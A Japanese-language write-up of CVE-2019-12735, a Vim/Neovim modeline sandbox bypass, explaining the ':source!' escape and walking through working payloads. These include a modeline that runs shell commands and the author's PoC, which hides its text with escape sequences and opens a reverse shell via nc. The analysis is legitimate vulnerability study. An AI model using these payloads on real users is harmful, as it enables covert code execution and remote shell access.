
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
バージョン8.1.1365より前のVimとバージョン0.3.6より前のNeovimには、特別な内容を含むテキストファイルを開いたときにmodelineを介して任意のコードを実行できる脆弱性があります。
Modelineはデフォルトで有効になっている機能で、.txtファイルを含むすべてのファイルタイプに適用され、ファイルの先頭と末尾でファイル作成者が指定したオプションのセットを自動的に検索して適用/実行します。以下は典型的なmodelineの例です:
/* vim: set textwidth=80 tabstop=8: */
セキュリティを強化するため、modelineでは特定のオプションのサブセットのみが許可されており、オプションの値に式が含まれている場合は、サンドボックス内で実行されます:
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
サンドボックスは副作用を防ぎます。
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
しかし、! を伴う :source! コマンドを使用すると、サンドボックスをバイパスできます。これにより、Vimは指定されたファイルからコマンドを読み取り、あたかも手動で入力されたかのように実行し、サンドボックスを終了した後に実行します。これがVimを介した任意のコード実行を可能にする脆弱性を生み出しています。
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
この脆弱性を利用して、サンドボックス外でコードを実行するmodelineを構築できます:
# vim: set foldexpr=execute('\:source! some_file'):
execute() の代わりに assert_fails() を使用することもできます:
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
source! の後に % を追加すると、現在のファイルを実行します。以下の例では、uname -a || "(garbage)" をシェルコマンドとして順に実行します:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
さらに、nvim_input() 関数はNeovimの脆弱性を悪用するためにのみ使用され、次の例のように使用されます:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
著者は、Esc 文字を使用して、読み手がファイルを開いたときに新しい内容を書き込むことで内容を隠す、リバースシェルを作成するPoCを提供しています。
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
上記は著者のPoCですが、読者の理解を容易にするために、PoCの一部を省略して次のようにします:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
Vimを開くと、modeline機能がファイルの先頭と末尾をチェックしてmodeline文(ここでは 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:')を探し、見つかるとその文を実行します。前述のmodelineの動作に従い、source! % コマンドは現在のファイルを、Vim内で手動で入力したかのように実行します。
最初に、"\x1bSNothing here.\x1b:silent! w " という文字列が実行されます。Vimを使用したことがある方なら、Vimのコマンドモードを知っているでしょう。このモードに入るには Esc キーを押します。このキーの値は 0x1b であり、そのためPoCの先頭には 0x1b があり、Vimのコマンドモードに入ります。
コマンドモードに入った後、S キーを押すと、現在の行の内容が即座に削除され、挿入モードに戻ります。そのため、次の文字は S となり、PoCファイルの内容を削除して新しい内容を作成します。
この時点で、"Nothing here." というテキストがファイルに書き込まれ、次に Esc キーで再びコマンドモードに戻り、:silent! w コマンドで新しいテキスト("Nothing here.")を画面にメッセージを表示せずにファイルに書き込みます。
ファイルを書き込んだ後、call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') コマンドとそれに続くコマンドを実行してリバースシェルを取得します。最後のコマンド silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n では、silent! の後に # があるため、Vimはこれをコメントと解釈し、実行しません。
これにより、ユーザーがvim/neovimで上記のPoCを開くと、攻撃者はユーザーのシェルを取得できますが、ユーザーはmodeline機能によって書き込まれた"Nothing here."というテキスト行しか見えないため、気付くことはありません。